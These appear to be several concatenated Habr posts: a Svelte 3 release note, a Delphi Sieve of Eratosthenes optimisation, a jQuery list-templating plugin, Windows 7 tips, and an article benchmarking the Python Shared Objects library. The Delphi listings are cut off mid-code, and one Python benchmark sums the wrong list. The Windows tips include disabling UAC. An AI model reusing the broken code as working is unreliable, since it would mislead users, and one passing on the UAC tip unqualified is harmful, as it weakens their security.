---------------------
Если вы уже являетесь пользователем Svelte 2, боюсь, потребуется ручное обновление ваших проектов. В ближайшие дни мы выпустим руководство по миграции и обновлённую версию утилиты [svelte-upgrade](https://github.com/sveltejs/svelte-upgrade), которая сделает всё возможное, чтобы автоматизировать процесс. Но изменения *слишком* существенные, поэтому не всё может быть обработано автоматически.
Такое решение далось нам не легко: надеюсь, что, испытав Svelte 3, вы поймете, почему мы сочли необходимым порвать с прошлым.
Все ещё впереди
---------------
Каким бы изнурительным ни был этот релиз, мы ещё не закончили. У нас есть масса идей как генерировать код умнее, более компактно, и длинный список пожеланий. [Sapper](https://sapper.svelte.technology/), наш фреймворк для приложений в стиле Next.js, всё ёще находится в процессе обновления для использования совместно со Svelte 3. Проект сообщества [Svelte Native](https://svelte-native.technology/), который позволяет писать приложения для Android и iOS на Svelte, продвигается вперед и заслуживает более полной поддержки со стороны ядра.
У нас пока нет множества расширений для редакторов, подсветки синтаксиса, наборов компонентов, devtools и т. д., которые есть у других фреймворков, и мы должны это исправить. И мы *действительно* хотим добавить первоклассную поддержку TypeScript.
Несмотря на всё это, мы считаем, что сейчас Svelte 3 — лучший способ создания веб-приложений. Потратьте час, чтобы пройти [учебник](https://ru.svelte.dev/tutorial/basics) и мы надеемся, что убедим вас в этом. В любом случае, мы хотели бы видеть вас в нашем [Discord чате](https://discord.gg/yy75DKs), русскоязычном [канале Telegram](https://t.me/sveltejs) и на [GitHub](https://github.com/sveltejs/svelte) — добро пожаловать всем, особенно вам.
#### P/S — Еще немного полезных ссылок
[Документация на русском по Svelte 3.](https://ru.svelte.dev/docs)
[Учебник на русском по Svelte 3.](https://ru.svelte.dev/tutorial/basics)
[Примеры на русском по Svelte 3.](https://ru.svelte.dev/examples)
За работу над русскоязычным сайтом отдельное и большое спасибо [AlexxNB](https://habr.com/ru/users/alexxnb/)! Гип-гип ура! | https://habr.com/ru/post/449450/ | null | ru | null |
# Отсеиваем простые из миллиарда чисел быстрее, чем в Википедии
(*[Источник рисунка](https://commons.wikimedia.org/wiki/File:New_Animation_Sieve_of_Eratosthenes.gif?uselang=ru)* )
Общеизвестно, что Решето Эратосфена (РЭ) один из древнейших алгоритмов, появившийся задолго до изобретения компьютеров. Поэтому можно подумать, что за века этот алгоритм изучен вдоль и поперек и добавить к нему ничего невозможно. Если посмотреть Википедию – там море ссылок на авторитетные источники, в которых запросто утонуть. Поэтому удивился, когда на днях случайно обнаружил, что [вариант](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%AD%D1%80%D0%B0%D1%82%D0%BE%D1%81%D1%84%D0%B5%D0%BD%D0%B0#%D0%9F%D1%81%D0%B5%D0%B2%D0%B4%D0%BE%D0%BA%D0%BE%D0%B4), который в Википедии преподносится как оптимальный, можно заметно оптимизировать.
Дело было так. В обсуждении статьи по функциональному программированию (ФП) задал [вопрос](https://habr.com/ru/post/450300/?reply_to=20113562#comment_20105570): как в этой парадигме написать РЭ. Обладая более чем скудными знаниями по ФП, не берусь судить об ответах, но другие участники обсуждения забраковали некоторые из предложенных сходу решений, указав, что вместо теоретической сложности
 **(1)**
предложенная реализация будет обладать вычислительной сложностью
 **(2)**
и что с такой сложностью не дождаться, когда, например, просеются 10 миллионов чисел. Мне стало интересно и я попробовал реализовать оптимальную согласно Википедии версию, используя привычное мне процедурное программирование. В Delphi-7 у меня получился следующий код:
**Листинг 1**
```
program EratosthenesSieve;
// Sieve of Eratosthenes
{$APPTYPE CONSOLE}
uses
SysUtils, DateUtils,Math;
const
version ='1.0.1d1';
N = 1000000000; // number of primes
var
sieve : array [2..N] of boolean; // false if prime
t0, t1,dt : TDateTime;
O,C : Extended;
procedure init;
var
i : integer;
begin
for i:=2 to n do
sieve [i] := false;
end; //init
procedure calc (start : integer);
var
prime, i : integer;
breakLoop, exitProc : Boolean;
begin
prime := start;
exitProc := false;
repeat
// find next prime
prime := prime+1;
while (prime
```
РЭ представлено булевым массивом sieve с инверсными значениями — если число простое, оно обозначается как false, что позволяет сократить количество операций отрицания (not) при просеивании. В программе 3 процедуры: инициализации РЭ — init, вычислений (просеивание и зачеркивание чисел в РЭ) — calc и вывода найденных в результате простых чисел — print, при этом подсчитывается количество найденных чисел. Особо обращу внимание на закомментированный вывод простых чисел в процедуре print: для тестирования при N=1000 комментарий снимается.
Здесь в процедуре calc использую рекомендацию Википедии: для очередного простого числа i вычеркивать из РЭ числа
Эта программа просеяла миллиард чисел за 17.6 сек. на моем ПК (CPU Intel Core i7 3.4 ГГц).
Сделав эту программу, я вдруг вспомнил о широко известных свойствах [четных и нечетных чисел](https://ru.wikipedia.org/wiki/%D0%A7%D1%91%D1%82%D0%BD%D1%8B%D0%B5_%D0%B8_%D0%BD%D0%B5%D1%87%D1%91%D1%82%D0%BD%D1%8B%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%B0#%D0%90%D1%80%D0%B8%D1%84%D0%BC%D0%B5%D1%82%D0%B8%D0%BA%D0%B0).
**Лемма 1.** *1) нечетное+нечетное=четное; 2) нечетное+четное=нечетное; 3) четное+четное= четное.*
**Доказательство**
1) делится на 2. ЧТД.
2) не делится на 2 без остатка. ЧТД.
3) делится на 2. ЧТД.
**Лемма 2.** *Квадрат нечетного числа есть нечетное число.*
**Доказательство.**  не делится на 2 без остатка. ЧТД.
**Замечание.** *Простое число, большее 2, нечетное.*
Поэтому можно вычеркивать только нечетные числа:
 **(3)**
Но прежде надо вычеркнуть все четные числа. Это делает измененная процедура инициализации init.
**Листинг 2**
```
program EratosthenesSieve;
// Sieve of Eratosthenes
{$APPTYPE CONSOLE}
uses
SysUtils, DateUtils,Math;
const
version ='1.0.1d1';
N = 1000000000; // number of primes
var
sieve : array [2..N] of boolean; // false if prime
t0, t1,dt : TDateTime;
O,C : Extended;
procedure init;
var
i : integer;
begin
for i:=2 to n do
sieve [i] := not odd(i);
end; //init
procedure calc (start : integer);
var
prime,prime2, i : integer;
breakLoop, exitProc : Boolean;
begin
prime := start;
exitProc := false;
repeat
// find next prime
prime := prime+1;
while (prime
```
Эта программа сработала за 9.9 сек. – почти вдвое быстрее.
Для оценки соответствия реального времени работы программы теоретическому я предположил, что
где  – измеренное время работы;
– константа с размерностью времени;
 – теоретическая оценка.
Вычислил отсюда  для оценки (1) и (2). Для  и меньше  близко нулю. Поэтому привожу данные по первой программе для больших 
| $N $ | (1) | (2) |
| --- | --- | --- |
| $10^7 $ | $1.69\cdot 10^{-9} $ | $2.74\cdot 10^{-9}$ |
| $10^8 $ | $5.14 \cdot 10^{-9}$ | $1.47 \cdot 10^{-8}$ |
| $10^9$ | $5.80 \cdot 10^{-9}$ | $1.29 \cdot 10^{-7}$ |
Как видим, оценка (1) гораздо ближе к реальным результатам. Для второй программы наблюдается похожая картина. Сильно сомневаюсь, что открыл Америку с применением последовательности (3) и буду очень благодарен за ссылку на работу, где применялся этот подход. Скорее всего, авторы Википедии сами утонули в море информации по РЭ и пропустили эту работу.
PS О приведенном в Википедии алгоритме с «линейным временем работы» [см](https://habr.com/ru/post/452388/). | https://habr.com/ru/post/450604/ | null | ru | null |
# Repeatable, еще один способ рендерить списки
(из серии «малая механизация web страниц»)
#### Что такое Repeatable?
Repeatable это способ вывода (популяции) всякого рода списков, таблиц и пр. по массивам данных. Данный механизм
использует шаблон описанный в самом коде разметки (в отличие от, скажем, {{mustache}} templates).
Поддерживаются выражения и условное включение. И всё это [в 90 строках кода](https://code.google.com/p/widgets-js/source/browse/trunk/repeatable/repeatable.js).
Repeatable функиональность есть в каждом «взрослом» web framework'е. Но если вы не хотите по тем или иным причинам завязываться с монстрами то вот вам механизм который, что называется, есть не просит.
#### Пример
Скажем есть такие данные:
```
var data = [
{ name: "Olga", age: 20, email: "aaa@example.com" },
{ name: "Peter", age: 30, email: "bbb@example.com" },
{ name: "Ivan", age: 15, email: "ccc@example.com" },
];
```
И нам нужно из вывести как-то так:
```
* [{{this.name}}](mailto:{{this.email}}) **18+**
* No data available
```
Первый `-` собственно и есть шаблон записи. Для каждой записи во входном наборе этот элемент будет повторен с подстановками ~~и гуляшшыми девами~~. Второй `-` будет выведен если Repetable «накормить» пустым массивом.
Если у нас это все описано то собственно популяция нашего списка это одна строка:
```
var list = $("ul#people").repeatable(); // declaring the repeatable
list.value = data; // that's data population, sic!
```
Вот [живой пример](http://terrainformatica.com/widgets.js/repeatable/repeatable-test.htm).
#### Микроформат шаблонов
Текст внутри разметки или значение аттрибута может содержать выражение в «mustache» скобках: `{{ ...expr ...}}`.
При заполнении списка такие выражения будут вычислены и замещены их строковым значениями.
##### Специпльные переменные доступные в выражениях
* `this` — объект — текущий элемент списка.
* `$index` — число, индекс текущего элемента списка;
* `$first` — `true` если это первый элемент;
* `$last` — `true` если это последний элемент;
* `$length` — число, кол-во записей во входном массиве.
##### Условное включение
Любой элемент внутри repeatable шаблона может быть объявлен как условный. Для этого нужно описать у него атрибут `if="...expr..."`. При генерации списка выражение будет вычислено и если оно «truthy» то элемент будет выведен, если нет — удален.
Домашняя страница repeatable plugin — [здесь](https://code.google.com/p/widgets-js/wiki/Repeatable)
Исходник repeatable привожу здесь полностью для тех кто пропустил ссылку в начале:
```
/**
* @author Andrew Fedoniouk
\* @name jQuery repeatable()
\* @license WTFPL (http://sam.zoy.org/wtfpl/)
\* @purpose template-less population of repeatables (lists)
\*/
(function ($) {
function repeatable(el) {
var $el = $(el);
var template = $el.find(">\*").remove();
var nrTemplate = template.length > 1 ? $(template[1]) : null; // "no records" template
template = $(template[0]);
var compiled = {}; // compiled expressions
var vector = null; // data
var index = 0; // current index being processed
//function evalExpr(str) { return eval("(" + str + ")"); }
function compiledExpr(str) {
var expr = compiled[str];
if( !expr )
compiled[str] = expr = new Function("$index","$first","$last","$total", "return (" + str + ")");
return expr;
}
function replace(text, data) {
function subst(a, b) {
var expr = compiledExpr(b);
var s = expr.call(data, index, index==0,index==vector.length - 1, vector.length); return s === undefined ? "" : s;
}
return text.replace(/{{(.\*)}}/g, subst);
}
function instantiate(el, data) {
var attributes = el.attributes;
for (var i = 0; i < attributes.length; ++i) {
var attribute = attributes[i];
if (attribute.name == "if") {
var str = attribute.value;
var expr = compiledExpr(str);
var tokeep = expr.call(data, index, index == 0, index == vector.length - 1, vector.length);
if (!tokeep) { el.parentElement.removeChild(el); return; }
}
else if (attribute.value.indexOf("{{") >= 0)
attribute.value = replace(attribute.value, data);
}
for (var nn, n = el.firstChild; n; n = nn) {
var nn = n.nextSibling;
if (n.nodeType == 1) // element
instantiate(n, data);
else if (n.nodeType == 3) // text
{
var t = n.textContent;
if (t.indexOf("{{") >= 0)
n.textContent = replace(t, data);
}
}
}
function getValue() { return vector; }
function setValue(newValue) {
vector = newValue;
var t = template[0];
if( !vector || vector.length == 0 ) {
$el.empty();
if(nrTemplate)
$el.append(nrTemplate); // no records
}
else {
var fragment = document.createDocumentFragment();
for (index = 0; index < vector.length; ++index) {
var nel = t.cloneNode(true);
instantiate(nel, vector[index]);
fragment.appendChild(nel);
}
$el.empty();
$el.append(fragment);
}
}
el.getValue = getValue; el.setValue = setValue;
// redefine its 'value' property, setting value to some array will cause popupaltion of the repeatable by that data.
try { Object.defineProperty(el, "value", { get: getValue, set: setValue, enumerable: true, configurable: true }); } catch(e) {}
return el;
}
$.fn.repeatable = function () {
var el = null;
this.each(function () { el = repeatable(this); });
return el; // returns last matched element!
};
})(jQuery);
```
Успехов. | https://habr.com/ru/post/211590/ | null | ru | null |
# Windows 7 Tips and Tricks ;)
**Салют Хабралюди, хабражители :)**
[Продолжая](http://iden.habrahabr.ru/blog/58557/) рубрику статей посвященных Windows 7, решил предаставить сборник несколько полезностей которые могут облегчить работу в этой ОСи.
**Итак приступим**
#### Советы из этой статьи вы применяете по своему усмотрению и только!
Я никому не навязываю, уродовать раскошный интерфейс Windows 7
**1 Возвращяем Панель Быстрого Запуска (Quick Launch) на законное место:**
* Правый клик по Панеле Задач (TaskBar) => Панели Инструментов (Toolbars) => Новая панель (New ToolBar)
* В адрессной строке, открывшивогося окна «Диалог выбора Папки» вводим следующее значение:
`%userprofile%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch`
* На время отключим «Закрепить Панель Задач» (Lock Taskbar), правой кнопкой нажмем по появившемуся разделителю. Убедимся что снята галочка с значения «Показывать Название» (Show Title), а также что галочки стоит у значения «Маленькие значки» (Small Icons)
* Используйте разделитель и выдвиньте QuickLaunch на столько, на сколько это вам необходимо. После этих опереаций не забудьте заново «Закрепить Панель Задач» (Lock Taskbar)
**2 Меняем стиль «Панели Задач», на стиль Windows Vista**
Клацаем правой кнопкой по Панеле задач, заходим в свойства.
Выбираем «Использовать маленькие значки» (Use small icons).
Затем в выпадающем меню «Значки панели задач» (Taskbar icons) выбираем «Combine when taskbar full» (в принципе это на ваше усмотрение)
Так мы избавились от толстого, жирного, стандартного таскбара (лично я был рад)
**3 Меняем размер иконок на десктопе (эти огромные иконки меня убивали)**
Для этого правый клик мауса по свободному месту на десктопе и выбираем: Вид => Маденькие значики (View => Small icons)
После первых трех операций, винда должна выглядить примерно так:
**4 Открыть командную строку из контекстного меню папки**
Мало кто знает об этой фиче. Она есть и в Висте.
Нажмите правой кнопкой по папке — все стандартно, не так ли?
А теперь попробуйте зажать Shift и нажать правой кнопкой по папке О\_о
Вуаля, появилось 2 новых значения:Open in new process и Open Command here
**5 Отключаем надоедливый UAC User Account Control (на свой страх и риск :) )**
Заходим в Панель Управления, зацем Action Center (Центр Дествий), справа в меню выбираем «Change User Account Control settings». В ново-появившемся окне опускаем ползунок в самый низ, на значение «Never Notify».
**6 Открываем проводник с начальной точке в «мой компьютер» «Computer», а не библеотеки**
Для этого нам нужно сделать следующее:
Открываем Старт Меню, переходим в Accesories, там находим иконку Windows Explorer.
правый клик на иконку, заходим в свойства. В Target прописываем следющее:
`%SystemRoot%\explorer.exe /root,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}`
Чтобы в панеле задач иконка Проводника, так же выходила в Мой компьютер, а не библеотеки, для этого нужно удалить ее с панели задачи, правый клик и Unpin. Возвращаемся в Accessories находим знакомую иконку, правый клик по ней и выбираем Pin to Taskbar.
Комбинация клавиш **Win+E** также откроет Проводник в «Компьютере»
**7 Комбинации клавиш**
**Win+Home** — работать с одним активным окном, минимизировать все неактивные.
**Win+T** — гуляем по таск бару
**Shift+Click** или **middle-click** по приложения иконке на таск баре, откроет новое окно приложения, а не покажет уже открытое
**Win+P** — открывает диалог проецирования, одним-двумя кликами вы сможете перевести изображение на второй монитор или проектор
**Win+Left Arrow** и **Win+Right Arrow** — стыкуем окно к граница экрана
**Win+Up Arrow** и **Win+Down Arrow** — развертывает-востанавливает/сворачивает окно
**Win+Shift+Up Arrow** и **Win+Shift+Down Arrow** — развертывает-востанавливает/минимизирует окно по вертикали, но не на весь экран.
**Win+Shift+Лево/Право** — (для владельцев мульти мониторных систем) переводит окно на левый/правый монитор
**Ctrl+Shift+Клик** по приложению что бы сразу вызвать его с правами администратора.
**Win+Space** — Заглядываем на десктоп, времено
*напомню старые не менее полезные комбинации*
**Win+D** — сворачиваем все окна, открываем десктоп. Повторные дествия возвращают окна на прежнее место
**Win+L** — Закрыть десктоп, особенно действенно когда на учетной записи (у юзера) стоит пароль.
**Win+R** — Вызов диалога Пуск/Run
**Ctrl+Alt+Delete** в Win7 возвращает вас к экрану на подобие экрана приветствия с выбором некоторых операций в том числе Таск Менеджера (Диспетчер Задач). Если вы хотите сразу открыть Таск менеджер попробуйте следующую комбинацию **Ctrl+Shift+Esc**.
ну еще много других, гуглъ всех их знает ;)
**8 Назначаем комбинацию клавиш для утилиты Snipping tool**
Snipping tool это утилита для снятия скриншотов выделенной зоны
Старт меню => Accesories => Snipping Tool => Правый клик => Свойства
В Свойствах, в поле Shortcut Key пытаемся набрать любую комбинацию клавиш. Заметим что нам сразу выдаются первые две клавишы **Ctrl+Alt+**, выбор третьей клавишы за вами, как вам удобнее. Например у меня **Ctrl+Alt+S**. Эту же операцию можно произвести с **Sticky Notes**, также указав комбинацию клавиш, для ее быстрого вызова.
Ну вот покамись все. Ждите продолжения.
*Все из выше перечисленого, протестированно мною на **Windows 7 RC 7100*** | https://habr.com/ru/post/58570/ | null | ru | null |
# Easy concurrency with Python Shared Object
[Project repository](https://github.com/byko3y/python-shared-objects).
[Year old article about general concepts of the project](https://habr.com/en/post/526002/).
So you want to build a multitasking system using python? But you actually hesitate because you know you'll have to either use multitasking module, which is slow and/or somewhat inconvenient, or a more powerfull external tool like Redis or RabbitMQ or even large DBMS like MongoDB or PostgreSQL, which require some glue (i.e. very far from native python code) and apply their own restrictions on what you can do with your data. If you think «why do I need so much hassle if I just want to run few worker threads in python using the data structures I already have in my python program and using functions I've already written? I just want to run this code in threads! Oh, I wish there was no GIL in Python» — then welcome to the club.
Of course many of us can build from scratch a decent tool that would make use of multiple cores. However, having already existing working software (Pandas, Tensorflow, SciPy, etc) is always cheaper than any development of new software. But the status quo in CPython tells us one thing: you cannot remove GIL because everything is based on GIL. Although making shit into gold could require much work, the ability to alleviate the transition from slow single-threaded shit to a slow not-so-single-threaded gold-looking shit might be worth it, so you won't have to rewrite your whole system from scratch.
The original unattainable goal was to make a simple CPython program with ordinary-looking data structures and code lines magically work in parallel on multiple cores. Of course, it's easier to say than actually make it work — there might be valid reasons for why nobody managed to create anything similar in 30 years of CPython's existence. Over time it became apparent to me that implementation-defined nature of CPython with its infinite amount of quirks and ad-hoc solutions make it incredibly difficult to implement those imitations really seamlessly.
Multiprocessing comes really close to being native-looking and composable, but, damn, multiprocessing is slow and painful as death from cancer. And within multiprocessing library you can see some shy attempts to implement shared memory (e.g. multiprocessing.sharedctypes) — and indeed my project can be seen as a large overhaul and extension of sharedctypes. Actually, I was considering the use of sharedctypes in my very early prototypes but quickly realized sharedctypes is way too limiting and provides few own features, thus sharedctypes is kind of half-baked quick solution unless someone finds the right one.
So let's take a look at the current state of my attempt (codename PSO or Python Shared Objects) with the help of few examples. The immediate benifit of the project is the ability to share complex dynamic objects between processes in a totally symmetric fasion i.e. transfer modified object from parent process to child, from child to parent, from child to child. So far every other alternative for CPython either requires the data to be of some simple fixed shape (like multiprocessing.ShareableList) or requires the use of pickle to pass complex objects across process boundary on each mutation or read.
*python3 examples/simple\_workers.py*
```
import sys
import pso
import subprocess
if len(sys.argv) != 3:
# main process
coord_name = pso.init()
pso.root().requests = [{ 'idx': i, 'request': f'request {i}' }
for i in range(10)]
pso.root().responses = [None]*10
workers = [subprocess.Popen([sys.executable, sys.argv[0], coord_name, str(req['idx'])])
for req in pso.root().requests]
statuses = [w.wait(5) for w in workers]
for (idx, response) in pso.root().responses:
print((idx, response))
else:
# worker process
pso.connect(sys.argv[1])
myindex = int(sys.argv[2])
myrequest = pso.root().requests[myindex]
import time, random
time.sleep(random.randrange(2)) # imitate some long work
pso.root().responses[myindex] = \
(myindex, f'response {myindex} for {myrequest["request"]}')
```
In this example you can see a basic usage of shared data structures: requests are passed from main process to workers by simple assignment to pso.root() (which is a dictionary-like object shared by all processes connected to the same coordinator), and responses are returned as a list of tuples by the same direct assignment. Printing (like many other features) of some shared structures (list and tuple) is not fully implemented so in this example they are copied and iterated in a native CPython way instead of simple `print()`. Immutable data is implicitly copied into native "str" and "int" objects, so they are not a big problem here.
Actually in this example modifications of data are performed by what is internally called a "transient transaction". Those bear some similarity to "read committed" isolation mode in SQL i.e. the the operation sees last committed changes made by other transactions. Although don't be fooled by analogy — the transaction happens on each small access operation, for example `pso.root().responses[myindex]` does two transient transactions: one for `pso.root().responses` attribute lookup and one for `responses[myindex]` indexing. As far as I know, PyPy STM implements this very kind of transactional access.
At present I haven't tried to abstract the worker launch and parameter passing (like multiprocessing does) so you are free to start workers any way you want. Actually, you can even use multiprocessing for that purpose. Except don't use fork from the main process (coordinator) because the current implementation runs two threads in the main process and fork is mostly incompatible with multithreading.
*python3 -m pso examples/accounts.pso.py*
```
import sys
import random
import pso
import subprocess
class Account(pso.ShmObject):
def __init__(this, id, starting_value):
this.id = id
this.balance = starting_value
number_of_accounts = 200
if len(sys.argv) != 3 or sys.argv[1] != 'worker':
# main process
coord_name = pso.init()
pso.root().worker_count = 3
if len(sys.argv) >= 2:
pso.root().worker_count = int(sys.argv[1])
pso.root().accounts = {f'client{i}': Account(i, random.randrange(1000))
for i in range(number_of_accounts)}
original_values = [pso.root().accounts[f'client{i}'].balance
for i in range(number_of_accounts)]
original_sum = sum(original_values)
print(f'Original sum: {original_sum}')
print(f'{original_values}')
print(f'Launching account processing with {pso.root().worker_count} workers')
workers = [subprocess.Popen([sys.executable, '-m', 'pso', sys.argv[0], 'worker', coord_name])
for i in range(pso.root().worker_count)]
statuses = [w.wait(None) for w in workers]
new_values = [pso.root().accounts[f'client{i}'].balance
for i in range(number_of_accounts)]
new_sum = sum(new_values)
print(f'New sum: {new_sum}')
print(f'{new_values}')
if new_sum != original_sum:
raise Exception('Sums do not match')
else:
# worker process
pso.connect(sys.argv[2])
accounts = pso.root().accounts
for i in range(100*1000 // pso.root().worker_count):
source_index = random.randrange(number_of_accounts)
target_index = random.randrange(number_of_accounts)
source = f'client{source_index}'
target = f'client{target_index}'
amount = random.randrange(1, 50)
if source != target:
with transaction:
if amount <= accounts[source].balance:
accounts[source].balance -= amount
accounts[target].balance += amount
```
How it works: main process initializes several accounts with random balance values. Here accounts are of class Account(pso.ShmObject) — only subclasses of pso.ShmObject can be shared. Then multiple workers are started, each worker executes a long loop where he randomly picks two accounts, removes some amount of values from one account and puts them into another account in a transactional fasion i.e. either transaction succeedes and both accounts are updated or no updates are applied and transaction is restarted. So there you can see the new big features: **explicit transactions, invocation with "pso" module for handling `with transaction` sugar, and shared class instances**. Yes, the solution you see right now requires some modifications and imposes some restrictions onto the code, but the cup is still half full.
If you try to remove `with transaction` you'll get "Sums do not match" exception, because that exchange would be performed in four transient transactions (actually six with precondition). You might find it to be similar to a regular "with lock", except under hood it handles fine-grained locks for you, so you won't be bothered by deadlocks or resource starvation or poor concurrency due to coarse grained locking — that kind of protection is scarse in out-of-box and easy-to-use solutions.
`with transaction` is an invalid CPython code, because there's no "transaction" context manager. Actually, that line does not stand for a context manager, but implements an infinite loop enclosing the block of code. It's so sad to realize that after 30 year of "development" CPython is still missing a convenient way to pass a block of code into a function. Instead of a single real solution now we have multiple small ad-hoc solutions: lambdas, mostly useless until the recent introduction of [walrus operator](https://www.python.org/dev/peps/pep-0572/), list comprehension where a regular loop would suffice, context managers and function decorators to ultimately placate any pursuit to implementa and explicit in-place passing of code blocks as function arguments. Of course, you can still do something like:
```
def code_block(amount, accounts):
if amount <= accounts[source].balance:
accounts[source].balance -= amount
accounts[target].balance += amount
pso.transaction(code_block, amount, accounts)
```
But let's face it — this construct is significantly harder to read and write than a simple `with transaction:`. Especially when you need to add hundreds of these into existing code. That's why the "pso" loader is required to interpret `with transaction:` in the main module. The "pso" module also installs hooks to automatically translate other modules named "\*.pso.py", however for main module you will need to use the "-m pso" option.
Now that you know it's actually a loop, you'll understand why actions on non-shared data are supposed to be either pure (free of side-effects i.e. do not modify non-local data) or idempotent (like singleton). For shared data the implementation handles commits and rollbacks automatically. And that's why you cannot just put the transaction block around the whole code — that would mean running it atomically, most likely causing the remaining workers to wait. It's interesting to note that even such poorly designed transaction will work i.e. it will not hang indefinitely on long transactions with very high contention like naive implementations of STM do (notably the one built into GHC). In my implementation of STM I tried to handle such cases as if execution is performed serially using a single global lock like GIL. So if anything goes wrong — you'll get your GIL back.
Small note on class sharing. As already said, you can only share instances of pso.ShmObject. Class definitions are private to each process, that's why they should always remain static. Current implementation uses simple "module.classname" naming to find an appropriate class when passing an object from one process to another, therefore nested and dynamically created classes are not supported (yet).
Also I plan on removing the `pso.root()` mantra for \*.pso.py modules, replacing it with regular global varibale access syntax, but it's going to require more complex metaprogramming.
It's time for some benchmarks. Here I have a similar program implemented using regular CPython:
**python3 examples/accounts\_serial.py**
```
import random
class Account:
def __init__(this, id, starting_value):
this.id = id
this.balance = starting_value
number_of_accounts = 200
accounts = {f'client{i}': Account(i, random.randrange(1000))
for i in range(number_of_accounts)}
original_values = [client.balance for client in accounts.values()]
original_sum = sum(original_values)
print(f'Original sum: {original_sum}')
print(f'{original_values}')
for i in range(100*1000):
source_index = random.randrange(number_of_accounts)
target_index = random.randrange(number_of_accounts)
source = f'client{source_index}'
target = f'client{target_index}'
amount = random.randrange(1, 50)
if source != target:
if amount <= accounts[source].balance:
accounts[source].balance -= amount
accounts[target].balance += amount
new_values = [client.balance for client in accounts.values()]
new_sum = sum(original_values)
print(f'New sum: {original_sum}')
print(f'{new_values}')
if new_sum != original_sum:
raise Exception('Sums do not match')
```
and implemented using multiprocessing:
**python3 examples/accounts\_multiprocessing.py**
```
import sys
import random
from multiprocessing import Process, Manager, Lock
class Account():
def __init__(this, id, starting_value):
this.id = id
this.balance = starting_value
def worker(accounts, locks, worker_count):
local_locks = dict(locks)
for i in range(100*1000 // worker_count):
source_index = random.randrange(number_of_accounts)
target_index = random.randrange(number_of_accounts)
source = f'client{source_index}'
target = f'client{target_index}'
amount = random.randrange(1, 50)
if source != target:
if worker_count == 1:
if amount <= accounts[source].balance:
accounts[source].balance -= amount
accounts[target].balance += amount
else:
# acquire locks from lowest index to highest to avoid deadlocks
if source_index <= target_index:
lock1, lock2 = local_locks[source], local_locks[target]
else:
lock1, lock2 = local_locks[target], local_locks[source]
if not lock1.acquire():
raise Exception(f'failed to get lock {source}-{target}')
try:
if not lock2.acquire():
raise Exception(f'failed to get lock {source}-{target}')
try:
if amount <= accounts[source].balance:
accounts[source].balance -= amount
accounts[target].balance += amount
finally:
lock2.release()
finally:
lock1.release()
worker_count = 3
number_of_accounts = 200
if __name__ == '__main__':
if len(sys.argv) >= 2:
worker_count = int(sys.argv[1])
manager = Manager()
accounts = manager.dict({f'client{i}': Account(i, random.randrange(1000))
for i in range(number_of_accounts)})
locks = manager.dict({f'client{i}': manager.Lock()
for i in range(number_of_accounts)})
original_values = [accounts[f'client{i}'].balance
for i in range(number_of_accounts)]
original_sum = sum(original_values)
print(f'Original sum: {original_sum}')
print(f'{original_values}')
print(f'Launching account processing with {worker_count} workers')
workers = [Process(target=worker, args=(accounts, locks, worker_count))
for i in range(worker_count)]
for worker in workers:
worker.start()
for worker in workers:
worker.join()
new_values = [accounts[f'client{i}'].balance
for i in range(number_of_accounts)]
new_sum = sum(new_values)
print(f'New sum: {new_sum}')
print(f'{new_values}')
```
Benchmarks were performed on VirtualBox Debian VM running on 4-core i5-6600, so it might be significantly slower than bare-metal.
**Results**
Regular CPython:
> Command being timed: "python3 examples/accounts\_serial.py"
>
> User time (seconds): 0.91
>
> System time (seconds): 0.00
>
> Percent of CPU this job got: 99%
>
> Elapsed (wall clock) time (h:mm:ss or m:ss): 0:00.93
PSO, single worker:
> Command being timed: "python3 -m pso examples/accounts.pso.py 1"
>
> User time (seconds): 3.83
>
> System time (seconds): 0.17
>
> Percent of CPU this job got: 98%
>
> Elapsed (wall clock) time (h:mm:ss or m:ss): 0:04.07
PSO, 3 workers:
> Command being timed: "python3 -m pso examples/accounts.pso.py 3"
>
> User time (seconds): 4.68
>
> System time (seconds): 0.25
>
> Percent of CPU this job got: 270%
>
> Elapsed (wall clock) time (h:mm:ss or m:ss): 0:01.82
multiprocessing, single worker (without locks):
> Command being timed: "python3 examples/accounts\_multiprocessing.py 1"
>
> User time (seconds): 39.36
>
> System time (seconds): 12.80
>
> Percent of CPU this job got: 83%
>
> Elapsed (wall clock) time (h:mm:ss or m:ss): 1:02.20
multiprocessing, 3 workers:
> Command being timed: "python3 examples/accounts\_multiprocessing.py 3"
>
> User time (seconds): 65.16
>
> System time (seconds): 46.71
>
> Percent of CPU this job got: 149%
>
> Elapsed (wall clock) time (h:mm:ss or m:ss): 1:14.67
Unfortunately, naive multiprocessing solution is so incredibly slow I had to optimize it a little: since lock's proxy object is immutable, I saved the locks array into a separate private storage for each worker. Same trick cannot be done for Account instances because mutations on those objects will become invisible to other processes.
As you see, multiprocessing fails to provide any concurrency. And it's very slow even for single worker. Of course, you might implement it using RawValue/RawArray and sharedctypes, or use some other kind of ad-hoc optimization and come close to PSO, but you are going to lose all the conveniency multiprocessing provides. In the end you can implement it in a pure C and beat even regular CPython version. But in that case you would not be starting to write python code in the first place.
Countrary, out of box PSO provides decent concurrency with reasonable footprint. Actually, even if you raise the contention rate by lowering the number of accounts from 200 to 20, you will get same results:
**Same results**
> Command being timed: «python3 examples/accounts\_20.pso.py 3»
>
> User time (seconds): 4.80
>
> System time (seconds): 0.23
>
> Percent of CPU this job got: 279%
>
> Elapsed (wall clock) time (h:mm:ss or m:ss): 0:01.80
Despite this fact, PSO single-worker version is still 4-5 times slower than regular CPython. Ensuing optimizations might bring those numbers down to "2-3 times slower", but anyway shared transactional memory is not completely free and you just cannot outplay ad-hoc optimizations being introduced into CPython for the last 30 years. For that reason you should try to use private python objects for relatively compute-intensive tasks (and C/C++ extensions for the most compute-extensive tasks) and reserve shared objects for interprocess communication.
The last (but not least) example shows some non-native-looking features of PSO, introduced specifically for concurrency:
*python3 examples/producer\_consumer.py*
```
import sys
import pso
import subprocess
import time
class Queue(pso.ShmObject):
termination_mark = False
def __init__(this):
this.deque = pso.ShmList()
this.promise = pso.ShmPromise()
@pso.transaction
def put(this, value):
this.deque.append(value)
this.promise.signal(True)
def pop(this):
rslt = this.deque.popleft()
while rslt is None:
this.promise.wait(0) # cannot be waited inside transaction
this.promise = pso.ShmPromise()
rslt = this.deque.popleft()
if rslt is this.termination_mark:
return (None, True)
else:
return (rslt, False)
def terminate(this):
this.terminated = True
this.promise.signal(True)
number_of_accounts = 200
